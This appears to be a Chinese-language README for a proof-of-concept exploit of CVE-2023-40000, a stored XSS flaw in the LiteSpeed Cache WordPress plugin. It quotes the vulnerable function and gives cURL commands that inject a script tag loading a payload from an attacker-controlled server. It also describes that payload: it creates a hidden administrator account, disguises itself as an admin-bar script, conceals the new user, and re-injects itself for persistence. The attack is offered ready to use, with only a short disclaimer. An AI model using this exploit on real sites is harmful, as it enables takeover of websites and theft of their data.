针对 LiteSpeed Cache WordPress 插件中允许权限提升的 XSS 漏洞的 PoC。该漏洞已在插件版本 5.7.0.1 中修复,并被分配为 CVE-2023-40000。根据插件的高级视图页面,约有 35% 的用户仍在使用易受攻击的版本(<5.7.0.1),总计约 180 万个网站。
由于 update_cdn_status 函数缺乏输入清理,(未认证)用户能够发送带有恶意 _msg 表单值的 POST 请求,该值会被存储并在 WordPress 管理区域中显示。只需发送一个未认证的 POST 请求,任何人都可以借此创建管理员帐户、提升权限或窃取敏感信息。易受攻击的函数可以在此处或下方找到,Admin_Display::error 函数可以在此处找到。
/**
* Callback for updating Auto CDN Setup status after run
*
* @since 4.7
* @access public
*/
public function update_cdn_status() {
if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
return self::err( 'lack_of_param' );
}
if (!$_POST[ 'success' ]) {
self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
} else {
$this->_process_cdn_status($_POST[ 'result' ]);
}
return self::ok();
}
本仓库中的概念验证包含一个 NodeJS express 服务器,旨在混淆并投递 XSS 载荷,同时捕获传入的 ping 和数据。载荷脚本展示了攻击者利用此漏洞的潜在行为:它会创建一个用户名为 "wp-config-user"、密码为 "somepassword123" 的管理员帐户。XSS 载荷还伪装成 admin-bar-reloaded.min,在加载时隐藏初始 XSS 弹窗,在 users.php 管理页面中完全隐藏所创建的用户,并重复发送初始 POST 请求以维持持久的存储型 XSS。
npm install 安装依赖项。node index.js 启动服务器。使用以下 cURL 命令向易受攻击的端点发送 POST 请求:
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
本仓库的内容严格仅供教育和研究目的使用。对于因使用此概念验证而产生的任何滥用或非法行为,本人概不负责。此外,LiteSpeed Cache 插件页面上已发布警告,建议所有用户因该已知漏洞而更新其软件。请确保您的安装已更新至 5.7.0.1 或更高版本,以缓解此问题。